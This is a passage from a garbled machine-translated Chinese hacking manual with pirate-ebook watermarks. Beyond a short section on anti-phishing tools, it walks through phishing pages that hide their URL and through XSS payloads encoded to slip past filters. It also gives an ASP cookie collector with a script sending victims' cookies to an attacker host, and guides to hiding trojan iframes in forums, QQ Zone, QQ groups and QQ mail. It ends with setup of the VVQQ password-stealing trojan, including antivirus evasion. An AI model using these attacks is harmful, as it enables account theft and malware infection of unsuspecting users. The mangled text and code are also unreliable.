Said the “CONTENT = 0” in the code in the redirect to web page “http://www.hackbase.com/” (it is assumed that the fishing site) waiting time is 0 seconds, and call the pop-up window “login. The HTML page.

The page of the code is as follows:

< HTML >

The < head >

< title > hackers website < / title >


```
</p>
```

```
<body>
```

```
</body>
```

```
</html>
```

The “01300000294030122844403414774 JPG” in the code is displayed in a pop-up window. Click on the link, the fishing “pop. HTML page orientation” in the website “http://www.hackbase.com/”, and calls the “login. HTML” pop-up window. With no experience of online users, usually easily misled by the pop-up window.

This way, although the pop-up window can also be misleading has no experience in the Internet users, but for often surf the Internet users, its defects are very obvious. Most of the browser and the toolbar can be banned by setting the automaticity of the pop-up window.

In addition, there is a way of hid url is for web window full screen, the user cannot see url, but this way is also flawed, and will allow the user to be suspicious.

Safe way is to use to strengthen type script hijacked function to achieve the result of web page full-screen, the script code is as follows:

```
</head>
```

```
<body>
```

```
<a href="#" mce_href="#" onclick="my_function()">Full screen window</a>
```

```
<script language="">function my_function()
```

```
{
```

```
vartargeturl="http://www.hackbase.com/"
```

free ebooks ==> www.ebook777.com

```
newwin=window.open("", "", "noscrollbars")
```

```
if(document.all)
```

```
{
```

```
newwin.moveTo(0,0)
```

```
newwin.resizeTo(screen.width.screen.height)
```

```
}
```

```
newwin.location=targeturl
```

```
}
```

```
</script>
```

```
</body>
```

```
</html>
```

The sixth chapter phishing prevention tools

Phishing attacks from the aspect of prevention can be divided into two aspects, one aspect is to limit of phishing attacks use of resources, utilization of resources is controlled by the average phishing attacks, such as WEB vulnerability is a WEB service provider can directly repair, mail service providers can use reverse DNS domain mail server to remind the user whether received anonymous email.

Another aspect is uncontrollable behavior, such as loopholes in the browser, the user must patch on defense attacker directly using the client software vulnerabilities by phishing

attacks, the security software vendors could also provide repair function of the client software vulnerabilities.

At the same time, each big web site have a duty to protect the privacy of all users, have an obligation to remind all users to prevent fishing, increase the safety awareness of the user, from two aspects of active defense phishing attacks.

The following will introduce several to be able to prevent phishing tools.

1.360 security guards

Built in 360 in the latest version of the 360 security guard shield, it is a free to use the function of Internet to protect software, to be able to fully prevent users may encounter various risks in the process of online, it's own against phishing function can effectively detect and block the fake bank website, lottery and shopping fraud.

360 nets in the shield against phishing function using method is as follows:

Step 01 to install and run the “7.3” 360 security guards, to enter the main window, click on the “net shield” button on top of the main window.

Step 02 at this point, then the pop-up window, 360 nets shield 】 【 under the online protection TAB click on the web shield monitoring list “intercept fraud site, online shopping is not deceived” after the “start” button, you can open the fishing, fraud website interception function.

Step 03 after open, the fraud website interception function fishing, when users browse to fishing, the system will automatically intercept access to websites, to avoid the attack. In addition, users can also in the Windows 360 nets shield 】 【 intercept “history” TAB to view 360 net web threats record of the shield block.

Step 4 click the button at the top right of the window, 360 nets shield 】 【 underneath the drop-down list to select “Settings” option, to play shield - 360 network Settings dialog 】 . Can be set up in the “basic Settings” TAB whether tip intercepted web pages, whether to open the URL is cloud query function, automatically upload the suspicious code to 360 security center, set in after the completion of the click [sure] button.

Step 5 in 360 net shield - setting] 【 dialog, select “has to intercept web site” TAB, in the text box input to intercept sites, such as <http://hao123.com>, click “set to intercept” button, the website can be added to the “has to intercept web site list”.

Step 6 to intercept the site added to the “has to intercept web site list” after, when the user access to the fishing site or site on the list, automatically pop-up blocking prompt access page, stop the user access to the dangerous site.

2. IE7.0

IE7.0 browser to join anti-phishing function, this function becomes a browser security features an option - phishing filter. When we visit a web site, anti-phishing detection mechanism began to work automatically, to verify the authenticity of the web site.

Here use IE7.0 browser guard against phishing methods.

Step 01 open IE7.0 browser, select “tools” - > “Internet options” menu item, you can open the “Internet options” dialog box. In selecting the “advanced” TAB, in the “Settings” in the list box “safe” option in the area selected under “phishing filter” in the “automatic site check on” radio button.

Step 02 click “ok” button, can open an account the phishing function (IE7.0 did not unlock the function of anti-phishing) by default.

Step 03 after open anti-phishing function, when browsing the web, in the status bar, IE there will be a small blue shield style icon. If the user access to phishing site, IE browser warning will be given.

Steps 4 click the shield icon on the status bar, on the shortcut menu, select “check this site” option, you can pop up “fake site selection” dialog box, in which to test whether the current web page for fishing sites.

Step 5 click [sure] button, the browser will send Microsoft website information. After a while, will return to check the information, whether the site for the fake phishing sites.

3. Anti-phishing NetcraftToolbar plugin

“Phishing” is more and more rampant, a bit not careful will be convincing fake website cheated important personal information or password. NetcraftToolbar the IE plugins is a professional anti-phishing software, can show the current browsing websites of all kinds of information and risk assessment, automatic stop fishing site into, and can be timely vulnerabilities early warning to the user, to guard against fishing or malicious virus intrusion.

NetcraftToolbar in the form of browser plug-in installation, support for Internet explorer and FireFox browser. Here is the installation of the tool and method of use:

Step 01 open the IE browser, install url in the address bar input “<http://toolbar.netcraft.com/install>”, and click the “go to” button, you can open the web site.

Step 02 in the web site, select the corresponding browser version, such as clicking on the “InternetExplorer6 +” button, you can pop up the file download dialog box.

Step 3 click the “save” button, you can start download NetcraftToolbar plug-in. After the download is complete, will pop up “security warning” dialog.

Step 4 click “run” button, you can start the installation NetcraftToolbar plug-in. In the pop-up dialog box WelcometoNetcraftToolbarSetupWizard 】 【 click “Next” button.

Step 5 in the pop-up dialog, select LicenseAgreement 】 【 “IAgree” radio button, and click “Next” button.

Step 6 in the pop-up dialog box SelectInstallationFolder 】 【 click the “Browse” button, in the pop-up dialog box Settings NetcraftToolbar plug-in installation location.

Step 7, click the “Next” button to the pop-up dialog box ConfirmInstallation 】 【 , in which tell the user to prepare NetcraftToolbar plug-in installation in the computer.

08 click “Next” button, step automatically NetcraftToolbar plug-in installation can begin.

Step 09 after the installation is complete, then the pop-up dialog box InstallationComplete 】 【 . Click the “Close” button, Close the dialog.

Step 10 open Internet explorer, right-click on the IE toolbar, and on the shortcut menu, select “NetcraftToolbar” option.

free ebooks ==> www.ebook777.com

Step 11 at this point, can be shown in the toolbar NetcraftToolbar toolbar. When a user access a web site, the toolbar will be displayed in the website information.

When open the website “http://news.netcraft.com” in the toolbar shows the information of the site, including the establishment of the “Since” shows the site time, “Rand” site are shown in the world rankings. Due to the time of the establishment of the website is very short, and ranked very, therefore, through time and ranking information to determine the authenticity of a site.

7.6 expert class (common problems and solutions)

It seems 1: how to use the proxy server (ProxyServer) TeleportPro tools download files?

Answer: select [File] - > [Proxyserver] menu item, you can open the dialog Proxyserver] [. After the top connection box is checked, in the “Address” in the text box enter the IP Address of the agent device, click the “OK” button, you can use the proxy service for file download. Often use LAN users to go through a proxy server to enter the Internet, using TeleportPro download file must use this setting.

Inspiration. 2: in addition to the Hosts file mapping hijacked and DNS hijacking in the Intranet, and which sites hijacked fishing technology?

Answer: except the two hijacked fishing technology, and “browser hijack” and “the search engine’s SEO hijacked fishing”. The browser hijack is a different from common virus Trojan infection network attack means, it is mainly through the BHO DLL plug-in, Hook technology such as carrier to achieve the purpose of to tamper with the user’s browser.

The carrier can be directly in the browser module, become a part of the browser, thereby directly manipulate the browser’s behavior, and took the user to the fishing site; Fishing is a through search engines and search engine hijacked improve we forge the site search rankings, so as to bring more traffic, at the same time bring more targeted by fishermen.

Chapter one common XSS code analysis

To trigger a cross-site scripting attack, you must first know HTML language from the beginning. In initial XSS attack, the attacker is through the closed form assignment of tags, form a complete error-free script tags, to trigger a XSS.

In future development, XSS code through continuously improve to avoid the programmer filter, so as to attack. This section will introduce several common XSS code, and carries on the detailed analysis.

8.1.1 closed “<” and “>”

In HTML, one of the most common application is super link code:

```
< AHREF = “http://www.hao123.com” > good 123 nets < / A >
```

If in a data form submissions to the above statement of XSS, an attacker can use the following statement to closing HTML tags, and construct a complete error-free script statements: > < script > alert (‘ XSS); < / script > <

Submitted after closing HTML code, the code above will appear the following code:

```
< AHREF = ”” > < script > alert (‘ XSS); > < / script > < ”” XSS test < / A >
```

This is a simple cross-site scripting attacks. In order to see details of the cross-site effect, we can directly to create a new notepad document in the local computer, and then enter the code above, and its extension directly changes to HTML. Double-click the file to run directly after can see pop-up XSS tips. ✂ we alternate url: www.wrshu.net ✂

8.1.2 attributes of “javascript:”

Due to the closed form assignment of tags, form a complete error-free script tag, can trigger a XSS. If there is no script tag should be how to trigger the XSS? Here to trigger XSS method without a script tag.

For some without a script tag, the attacker needs to use other tags for closed form assignment mark. To display an image in a web page, for example, under normal circumstances would use “< img >” is defined, the specific statement is as follows:

free ebooks ==> www.ebook777.com
< imgsrc = "http://www.hao123.com/xss.gif" >

Among them, the “img” is not really that pictures will be added to the HTML document, but rather through “SRC” attribute assignment. The browser’s task is to explain the “img”, the process is to visit the URL in the address, “SRC” attribute value and output images for the user. But the browser will not actively detect the “SRC” attribute correlation value, in this way, the attacker organic process.

Javascript has a URL agreement, you can use the “Javascript:” plus any Javascript code, when the browser loads the URL, will perform the code. In this way, the attacker in a certain form can submit content, and the absence of filtration character, can be used to submit parameters to achieve another cross-site scripting attacks:

The < imgsrc = “javascript: alert (” test”);” >

According to the method described in the section on input the code in the notepad and running, the page will bring up a prompt box, prompt box is the content of the above code (” test “) the content of the statement, the test.

8.1.3 event classes XSS code

“Img” one can be XSS use onerror () event, when the “img” contains an onerror () event, and just the picture is not normal output, can be triggered. And after the trigger can be added to any script code, the code will be executed. The content of the code: “imgsrc=http://www.hao123.com/xss.gifonerror=alert (test XSS) >

8.1.4 encoded XSS code

Can be seen from the above sections content, the attacker to XSS attacks, are actually very easy, which makes many websites have been such an attack. In order to let the attacker can construct XSS, some programmers began to filter some javascript key characters in the script, such as “&” and “\”. But because most browsers default using unicode, therefore, the filter does not block the attacker cross-site scripting attack. And on this basis, the HTML code can use # “&” + ASCII to submit, the browser also come to know and will perform.

XSS transcoding only need for attribute values given by the can, such as the following

XSS code:

```
<imgsrc = "javascript: alert (' XSS');" >
```

After "& #" + ASCII way after processing, can be turned into the following code:

```
The <imgsrc = "& # 106 & # 97 & # 118 & # 97 & # 115 & # 115 & # 114 & # 105 & # 112 & # 116 & # 58 & # 97
```

```
The & # 108 & # 101 & # 114 & # 116 & # 40 & # 39 & # 88 & # 83 & # 83 & # 39 & # 41 & # 59 ">
```

This is the use of decimal code after the transcoding, execute this code later.

The second chapter, a typical case of cross-site attack

Hackers to XSS attacks is the premise of need to write a malicious Web page HTML code, write the code a lot of methods, such as the most common of which are in the BBS Posting, written in the post executable code; Or on the web site the user information modification, can also be by changing the signature, contact information, etc., the script code to be embedded in the user information page. But either way to execute code, not require web application to user input data to carry on the strict filtering, otherwise cannot be written to perform.

Therefore, the main cause of cross-site attack is due to the web server program, the input to the customer not verified effectively, so the attacker has the opportunity to enter some malicious Script code.

Due to the dynamic website depends on the user's input, so a hacker can through the malicious script to hide in the legal request, input a malicious script into web pages. Once the realization of XSS attacks, hackers can arbitrarily change user Settings, steal account, such as access to restricted site operation.

XSS attacks is divided into two kinds, one kind is from the internal attack, mainly refers to the use of the program's own vulnerability, tectonic cross-site statements, such as: DVBBS showerror. Asp is cross-site vulnerabilities. Another kind is the attack from outside, mainly refers to their tectonic XSS cross-site vulnerabilities page or find the

outside of the target is cross-site vulnerabilities of a web page. If you find a web site is cross-site vulnerabilities, such as the Q - Zone name of personal space cross-site vulnerabilities, hackers can prepare some steal web browsing the content of the user's Cookie code, in order to get a Cookie in various BBS and website account and password.

Specific steps are as follows:

Steps apply for an online web site space, 01 kuazhan will be prepared. The asp file uploaded to the application of space. Kuazhan. The role of the asp file is collecting the Cookie content, its concrete content is as follows.

```
<%
```

```
testfile=Server.MapPath("shouji.txt")
```

```
msg=Request("msg")
```

```
setkz=server.Create.object("scripting.filesystemobject")
```

```
setthisfile=kz.OpenTextFile(testfile,8,true,0)
```

```
thisfile.WriteLine ( ""&msg&"" )
```

```
thisfile.close
```

```
setkz=nothing
```

```
%>
```

Step 02 download and run "Q - ZONE personal namespace cross-site exploit tool".

Step 3 in the text box input corresponding cross-site code.

```
<script>
```

```
Window.open('http://192.168.0.45/kuazhan.asp?msg='+document.cookie)
```

```
</script>
```

Step 4 click the “submit” button, the code can be submitted to the hacker’s Q - Zone on the page. As long as the other QQ user access the Q - Zone will open a new window in current page, connect to the specified collection of cookies page, and send their own cookies content to the website in space “at terumo. TXT file.

Step 5 open “at terumo. TXT” file, you can see the user’s Cookie information, and this Cookie information may be included in the user’s password and account.

This is a simple example of cross-site attack, the attacker was able to successfully submit Script statements, and web application also put it as a normal user name of the executable program, because web applications for the user to enter the user name filter is lax.

If a click rate and substantial traffic be embedded in the homepage of the website trojans, that will cause serious consequences, visit the web site of each user may was attacked by Trojan horse. We mentioned above, DVBBBS BBS

Showerror. Asp page there is a serious cross-site vulnerabilities, users do not need administrator privileges, can be embedded in web pages on the BBS page trojans, attack other BBS users. Here are in this BBS, for example, to introduce a typical hacker invasion cross-site attack instances.

1. In mobile embedded in a web page

To achieve cross-site intrusion attack, in DVBBBS embedded Trojan web BBS website. Specific steps are as follows:

Step 01 in IE browser’s address bar, type <http://bbs.dvbbbs.net/>, you can open the mobile official BBS.

Step 02 to log in the BBS, the need to register a user in the BBS. Click the “register” button, to register a new user can; If is a registered user, then click “login” button.

Step 3 in the user name right select “control panel” - > “contact data to modify” menu

item, you can open the personal information changes the page.

free ebooks ==> www.ebook777.com

Step 4 in the BBS “BBS password” in the text box input password, type the code in the “home page” column “< / Script > < IfRAMEheight = 0 width = 0 SRC =” HTTP / / web Trojan address “> < IFRAME >”.

“Tip”

“Home page” column in the input code to build a web framework of length and width of 0, in the frame of the web page will open web Trojan address. Can change the page frame according to the actual situation of length and width and Trojan address page.

Use this way to hang the web trojans, because web framework is hidden, so people cannot be found. In order to avoid the input web Trojan address cause harm to BBS, will enter a normal url here instead of web Trojan address, to demonstrate the effect of the horse. Enter the following code in the “home page” column:

```
< / Script > < IfRAMEheight = 500 width = 500 SRC = “http://download.csdn.net/” > < IFRAME >.
```

And enter the Email address in the “MSN number” in the text box input the following code:

```
< ScriptLanguage = JavaScript > varactioninfo3 = ‘single post screen.
```

Step 5: the setting is completed, click “update” button, you can submit to modify content. After submit successful, then the system will pop up message.

Step 6 back to mobile in the BBS, in which the new send a post, the content of the post to fill in. Published after the success again to see the new post, you can see in the new post page has been embedded in a web framework, in the framework shows the “studio” a new starting point of the page.

If you display a web page with the method of the hidden trojans, then other page to view this post a house must move will be implanted trojans. If the page frame length and the width is set to 0, the web framework is hidden, all visitors will be suffered in silence web Trojan attacks.

2. To find the cause of the serious vulnerabilities mobile application

Can be seen from the example above, actually put up a web page on the mobile BBS Trojan horse is a very easy thing, don't need a lot of code, also do not need complicated Settings. As long as register a user on the BBS, almost everyone can do it. So, the cause of mobile application of so serious breach of is what?

Open the mobile registration page program files "reg. Asp" check the source code, can be seen in the following statement:

```
UserIM = checkreal (Request form (" homepage ")) & "|" & checkreal (Request) form (" QQ ") & "|" & checkreal (Request) form (" ICQ ") & "|" & checkreal (Request) form (" MSN ") & "|" & checkreal (Request. The form (the "yahoo")) & "|" & checkreal (Request) form (" aim ") & "|" & checkreal (Request) form (uc))
```

Among them "UserIM" is the "TEXT" type store homepage, QQ, ICQ, MSN, etc. The user registration information. Storage format for the "home page ||| QQ ||| ICQ ||| MSN ||| yahoo ||| aim ||| uc", the "homepage" is when the user registration page options. . By "Request form" (" homepage ") statement, From the From user registration form to obtain the user registration page data, the end user input data is processed by "checkreal" function.

To view the function definition file "Fundon. Asp" can see "checkreal" function code is:

```
Functioncheckreal (v)
```

```
Dimw
```

```
Ifnotisnull (v) Then
```

```
W = replace (v, "|", "§ § §")
```

```
Checkreal = w
```

```
EndIf
```

EndFunction

free ebooks ==> www.ebook777.com

, therefore, the function is the only “| |” filter, there is no filter, such as <, >, / special characters, thus led to the user can enter to submit any Script statements.

The third chapter from QQ space against cross-site technology evolution

Now the most popular on the Internet is tencent QQ, even just surfing the Internet for a few days of netizens, are likely to have their own QQ. The QQ space became everyone some entertainment blog space, but this those space, also be the target of the attacker. Although QQ space over the past few years constantly to prompt for the user of beautification function, but it also caused a terrible cross-site attack vulnerability, cause all kinds of blog to suffer again and again.

This section is in QQ space all previous cross-site attack, for example, understand the evolution of cross-site technology.

8.3.1 unsafe client filter

Q - quote us for the first time Zone space cross-site attack vulnerability, appeared in the Q - Zone “the name of the QQ space Settings”. Q - Zone space for the user to enter the space name without filtering, the cross-site attack vulnerability. Q - zone the user clicks on the space after the “personal profile” button in the navigation bar, you can enter the space of personal information Settings page. On the page, click “modify personal information” button, enter the space information Settings page.

In, click “space” link on the left side of the list with a display of “spatial information” page “name of space” in the text box you can change the qq - Zone space display name.

Space name will appear in the content of the personal space in the home page, write a if the executable script code, as long as the filter is not strict, also will be stored in the home page, by calling the executing code, to achieve the purpose of attack your visitors.

Here to test the first “name of space” in the text box can write cross-site scripting.

In the “name of space:” text box input cross-site test code: < script > alert (“ test “) < /

script >, in the text box to limit the length of the input character, the input number is no more than 32 characters. When entering this code, click the “save” button after can pop up “successful” message. And then refresh the page, can see the Q - Zone of the page space name has been changed to “< script > alert (” test”) < / script > “. Thus it can be seen that the Q - Zone of user input is not filtered.

Q - Zone of user input is not filtered, cross-site vulnerabilities to use. If an attacker in the Q - write a dangerous code in the Zone, such as stealing cookies content code browsing the web, it is likely to get the QQ website Cookie information, deceiving attack. In addition, the attacker can also be used in the Q - Zone cross-site hung horse attack, let visitors number is stolen.

8.3.2 encoding conversion can also cross site

The custom module function in the QQ space can help the QQ users according to their own needs custom beautification space, such as changing the space background, adding or removing graphic module, etc. Users can also custom code input various Script statements, to beautify the QQ space. But increase the function of space at the same time, also led to some holes. Some hackers start using custom modules, cross-site attack on QQ space.

1. Q - Zone custom filtering module

Before cross-site attack to test the custom module in use process have any filtering for special characters, or statement. The specific steps are as follows:

Step 01 opened QQ space, click [space costumes] button in the page, the display “dressing room” page, select the “add module” TAB, can enter the module Settings page.

Step 02 in the “custom module” area, click the button, a new module **【** can pop-up dialog box to add personalized module **】** . In which choose to create a module type, select the “graphic module.

Step 3 in the pop-up dialog box to edit graphic module **【** picture “address” and “title link” in the text box to remove the “HTTP: / /”, and in the “description” in the text box input the following custom code: “< imgsrc =” javascript: the document. The getElementById (‘ all ‘.) style. The background = ‘url (http:// * * * * * * / * * * * * *. JPG)’; “Http://” > “code, including * * * * * * / * * * * * *. JPG” as the background picture link address.

After save the module can change Q - Zone space background image. But tencent company to custom code for security filtering, blocking modification shall be forbidden to use a custom Script code.

After save the above code will add an empty module, but will not change the background image space. QQ space is through testing the user submits code, whether they contain characters such as “javascript” filter. In the above code, the script of a part of the code are replaced with after the ASCII code, and can avoid the QQ space filtering. Such as the code of the above “javascript” replaced by “javascri & # 112;” (“ the & # 112; “for” p “ASCII code), can break through the blockade.

2. The cross-site horse code conversion

By the above test, whether to add custom code can be slightly modified fool QQ space filtering mechanism, successfully submit code. As a result, some malicious attacker to use this feature in the space directly hang web Trojan code, the implementation of cross-site attack.

According to the above method to create a new graphic module in the QQ space, in which enter the following code:

```
< divid = DI > < imgsrc = “javascript: DI innerHTML = ‘< iframesrc =”
http://www.baidu.com “width = 190 height = 190 marginwidth = 0 marginheight = 0 img
tags like hspace = 0 and vspace = 0 frameborder = 0 scrolling = no > < iframe >” style =
display: none > < / div >
```

In order to circumvent the Q - Zone space filtering mechanism, the code must be transformed to avoid filtering, will “javascript” replaced by “javascri & # 112; t”, will be “iframe” replaced by “the & # 112; frame”. After the replacement code is as follows:

```
< divid = DI > < imgsrc = “javascri & # 112; t: DI. & # 105; nnerHTML = ‘< & # 105;
framesrc =” http://www.baidu.com “width = 200 height = 200 marginwidth = 0
marginheight = 0 img tags like hspace = 0 and vspace = 0 frameborder = 0 scrolling = no
> < / & # 105; frame >” style = display: none > < / div >
```

```
< divid = DI > < imgsrc = “javascri & # 112; t: DI innerHTML = ‘< & # 112; frame
```

SRC = "http://www.baidu.com" width = 190 height = 190 marginwidth = 0 marginheight = 0 img tags like hspace = 0 and vspace = 0 frameborder = 0 scrolling = no > < iframe > 'style = display: none "> < / div >

In the code <http://www.baidu.com> is a secure web link address, hackers often to replace it with the web link of trojans. Here just to illustrate attack effect, so don't need to input the Trojan website. Other statements in your code is used to define the size of the module, because is set to 0, the module will be hidden in the QQ space, but does not affect the opening and operation of the web page. The novel download | wRsHu. CoM."

8.3.3 are included Flash jump cross-site attack

The new version of the QQ - Zone has to repair the hole, completely sealed off user custom code, QQ users don't have to worry about the space be cross-site hang a horse. But the attacker always seem to get breakthrough space limitations, QQ space to be cross-site attack still emerge in endlessly, and hang the horse more flexible liberalisation.

Some of the attacker using a few tricks in the QQ space to hang horses, the user has just opened the QQ space can display the page right, but not for a few seconds, the page automatically jumps to a new web site. If jump into the web page is normal website, users don't have to worry about. But if jump into the web page is a website containing aggressive code, should take note.

1. The Flash jump transformation attack

Before Flash jump attack, the attacker will make a jump Flash first, get a jump code. Prepare a web trojans, here to demonstrate the effect, replace with baidu website "http://www.baidu.com" Trojan web pages, specific steps are as follows:

Step 01 opened the "jump Flash generation tool" web site (<http://www.qqpao.com/tool/qq.htm>), in the "address" need to jump in the text box input Trojan web link address, click the "generate" button, can be generated in the window below page jump code <http://www.qqpao.com/tool/qq.swf?url=http://www.baidu.com>.

Step 02 generated after the jump code, test code can be normal to jump to jump the Trojan web pages. In IE address bar, the jump code generated by the direct input just <http://www.qqpao.com/tool/qq.swf?Url=HTTP://http://www.baidu.com>.

Com, and click “go to” button, can be normal to jump to the baidu website <http://www.baidu.com> instead of Trojan horse. www.ebook777.com

After the jump is normal, the attacker can jump module is added in the QQ space to hang a horse, the specific steps are as follows:

Step 01 copy generated code, login qq - Zone, click the “custom” button, in the custom toolbar, select the “modules” TAB. Click the button, a new module 【 in the dialog box, click add personalized module 】 【 “Flash module”, can open the dialog box to add Flash module 】 【 .

Step 02 paste in the “address” Flash animation text box just generated a Trojan url redirect code “[http://www.](http://www.qqpao.com/tool/qq.swf?url=http://www.baidu.com)

[qqpao.com/tool/qq.swf?url=http://www.baidu.com](http://www.qqpao.com/tool/qq.swf?url=http://www.baidu.com) “and set the Flash size.

Step 3 click 【 confirm 】 button to save the module, the system will prompt a custom module to add “success”. Then click on the custom “save” button in the toolbar, save is dressed up, can complete to add Trojan module.

After step 4 in the add, can test hang up a website Trojan QQ space is successful. When open the test of QQ space, wait a few seconds, can be successful to jump to jump the specified in the code page.

2. The legacy network station Flash jump across

QQ space not only by the harm of Flash jump cross-site, other sites on the network are often attacked by the Flash jump cross-site hang horses, the attack on the network is everywhere, and the attacker’s means more sophisticated.

Attackers may be manually create a special jump Flash, in order to obtain better effect. Use “thought to recognize a flash-mob hammer” can make jump Flash, production process is mainly to add getURL code. Specific steps are as follows:

Steps to download and run 01 “pegatron flash-mob hammer of” software, in the pop-up dialog, select from the template to create 【 “blank document”, and click on the [sure] button, you can create a new Flash animation.

Hammer of step 02 in the “thought to recognize a flash-mob” main window on the left side of the choice of a tool software, just draw a pattern in the blanks.

Step 03 selection under “film” in the “layer 1”, can activate the window at the bottom of the “properties” and “action” TAB. Click on the “action” TAB, input in the below blank window jump code “getURL (“ http://www.baidu.com”);” .

Step 4 click on the “export” button on the toolbar, the Flash animation is saved as a “tiaozhuandongzuo. SWF.

Attackers will make good Flash files uploaded to any network space, Flash web site. The attacker is the most commonly used method in a normal web pages to add Flash player window, the content of the play is just Flash jump of Trojan horse. When users are watching Flash, defenseless can jump out of the Flash web page, the Trojan horse attack. Harm is more serious is released in various kinds of popular big BBS Flash jump trojans, browse BBS users are no exception, are to the Trojan.

Here “mobile BBS”, for example, published an article in the new post, or select a hot post to reply, in order to attract others view the posts, guarantee the best post the content of the novel and interesting. When reply to posts, enter some normal content first, and then click the edit window at the top of the [insert animation/music/movie...] Button to open the multimedia input dialog. Just Flash url from the input, and set up play window height and width, click [sure] button, can be inserted into the Flash.

After Posting replies, if somebody open this post, will automatically play Flash Trojan and jump to a specified page trojans. If some BBS disabled Flash label, insert the Flash will only be displayed as a link to automatically play, at this time only KanTie click Flash links, the assembly could Trojan.

8.3.4 Flash overflow cross-site attack

Loopholes in the Flash jumps, tencent quickly seal off this vulnerability, directly inserted into the jump Flash in Q - after the broadcast will no longer be able to jump in the Zone, are fixed in the current page.

The attacker in order to achieve the purpose of cross-site attack, and came up with the other new method, a flaw in the use of Flash files, Flash overflow cross-site attack directly.

Before the implementation of the overflow cross-site attack, the attacker must first made a Trojan web page, then web Trojan embedded Flash files. Here use IcodeToSWF (SWF horse tools) insert web trojans links to normal Flash file, specific steps are as follows:

Open step 01 “IcodeToSWF” software, click the “select” behind “SWF file” button, select the unit a normal Flash file, and fill out in the “insert code” text box making good trojans links page.

Click the button for me to say 【 step 02, web trojans links can be inserted into a normal Flash files. SWF insert horse tools to generate Flash files is to use a loophole, IE each other after open the Flash files, can cause overflow, IE automatically access Trojan web page download runs in the background of the trojans.

2. Hang a horse in the QQ group

First upload just generated SWF Trojan files to a space, then into a QQ group BBS, click the “post” button, enter the “Posting” page. Input “post title” on the page, and click the insert Flash 【 button, in the pop-up dialog box in the address of “Flash” in the text box input SWF Trojan files network links, and set its size.

Click “insert” button to insert the Flash files. Enter the code in which, published posts. When someone opened in the QQ group to see this post, will automatically play Flash and download Trojan server running in the background. , of course, also can spread the SWF trojans in the QQ group directly the url of the file, click the Trojan horse as the assembly after the others, but this way is better than Posting hidden effect is good, the continuity is not strong attack.

8.3.5 QQ business for vulnerabilities

After the QQ space quoted cross-site attack vulnerability, QQ also quoted the cross-site vulnerabilities. Take advantage of this loophole, the attacker can send any friends ask for information, cross-site attack. In the use of QQ business cross-site vulnerabilities to attack before the first test for cross-site vulnerabilities of the business. Specific operation method is as follows:

Step 01 at <http://my.qq.com>, the homepage of website of “excellent business recommended” page to select a business, such as “QQ member”, and click the “pay others” link below.

Step 02 in the page of open selection for friends, in the “to fill in for” message text box input cross-site test code as follows.

```
< script > alert (‘ hackers cross-site ‘); < / script >
```

Step 3 click the button, immediately ask for information. After the success of the send, specify friends QQ number on your computer, can pop-up message dialog system. When friends see system messages, click on the “view” button, you can see the message content in the open pages.

This shows there are loopholes in QQ for business, so that hackers can take advantage of this loophole in which writing and include links to web Trojan code, when the opposite ask for information, click view will automatically pop up a window, open the web page trojans. At this point, even if you take off the page, the Trojan horse has run, achieve the goal of cross-site attack.

The fourth chapter mailbox cross-site attack

Now each big portal on the network of free email very much, they are provided free email address space of the large capacity to attract users. Although they can facilitate users, but there are many potential safety hazard, such as cross-site vulnerability is popping up. This section is commonly used free email, for example, introduce them once the cross-site attack revealed by holes.

8.4.1 from QQ mailbox mail the dangers of cross-site

Because of the QQ software is widely used in the user, large capacity, fast transmission and QQ mailbox, therefore, its own QQ mailbox also has the attention of people. But QQ mailbox has quoted cross-site scripting vulnerabilities, the user’s information security caused great threat. Below to get to know the dangers of QQ mailbox cross-site vulnerabilities.

1. QQ mailbox cross-site transmission trojans

Because so many QQ users, and QQ mail when received new mail, will pop-up prompts on the QQ, and automatically receive new mail in the QQ screen display. Most users will click the new message alerts, open and view the new email directly, so, if you have received in the mail contains Trojan information, users move this operation immediately. This is different from general email hang horse holes, because usually email even if received emails, but the average user may has a month to go up one or two received the mail, so the effects. QQ mailbox, therefore, hang a horse the vulnerability of the hazard is very serious.

QQ email will appear to hang hole, because QQ email provides HTML email write function, but also not to cross site code filtering, so cause the attacker can be written in the email web Trojan horse code.

Here to make a QQ mailbox hung horse leak test, the specific steps are as follows:

Step 01 opened QQ mailbox, click on “write” link on the left of the button, enter the new email writing page, enter the recipient address.

Step 02 of the toolbar on the top of the “text” area click on [text format] button and display email toolbar button. Click on the [HTML] button in the toolbar, will mail write switch to HTML mail coding mode. Enter the following code in it.

```
< imgsrc=javascript:document.write('<Iframe%20src=http://www.baidu.com % 20 width = 500% 20 height = 550% 3 e & # x3c/iframe % 3 e ' ) >
```

In this code “& # x6Aavascript:document.write('<Iframe%20src=http://www.baidu.com % 20 width = 500% 20 height = 550% 3 e & # x3c/iframe % 3 e ')", is actually a ASCII hex code conversion, to avoid the QQ email filtering characters. The code of the original file is:

```
Javascript: document. Write (< iframesrc=http://www.baidu.com width = 500
```

```
Height = 550 > < iframe >)
```

Only convert the special characters in transformation, if you want to make the code to execute more smoothly, you can also use a software called “D’s editing tools” to convert all code. “O D editing tools” software, copy the code above to the input box above, and in the drop-down menu, coding & # XXX 】 【 can complete the transformation. It is

important to note that the conversion is converting the code above into decimal ASCII code.

Will re-enter the converted code into the mail, directly click the “send” button, you can send email out. Upon the completion of the input, can’t writing 【 preview 】 button in the window, click the text to send mail directly. Because after clicking “preview” button to switch to a HTML web page, the code in the email will be filtered out, therefore, must be sent directly to make the code to take effect.

After sending mail, when the recipient click the mail received and opened, you see the mail embedded in the web framework, which shows the baidu home page content.

If the baidu page will display in the email, instead of other Trojan web pages, achieve the goal that hang a horse.

2. QQ mailbox cross-site cause QQ hack attacks

In to attacks on email, also can modify the code and hidden web framework, makes your visitors don’t see any difference, let visitors unconsciously on a horse. Below to make web Trojan steal QQ number attack, for example, to explain in detail the attacker is how to use QQ email for cross-site hack.

(1) to generate the hack Trojan handing over QQ Trojan, here to test “VVQQ thieves release”. VVQQ for VVQQ thieves made a rising, jinshan, kappa, jiangmin, Mcofee, NORTON antivirus software such as the latest version of the free to kill, evaded the QQ doctor, make you use comfortable, evaded QQ at the same time bring sanitizer. Also increased the PHP receiving way (ASP free space not apply now). After running VVQQ bandit release procedure, first choose way of receiving, can choose mail letters, also can choose ASP or PHP website receiving.

In the “download” list on the right side after the Trojan run at the same time download other Trojan programs to run web site. In the “other options” to check the Settings for QQ number, display the number of QQ COINS on each other and IP address location, etc. In order to guarantee the concealment of the Trojan run, can check the check “immediately delete itself”.

Check in the “first run 60 seconds after the closed QQ” check items will automatically shut down QQ, let the user log back in to steal the QQ password. Click the button, select the Trojan icon 【 set a camouflage icon for trojans.】

free ebooks ==> www.ebook777.com
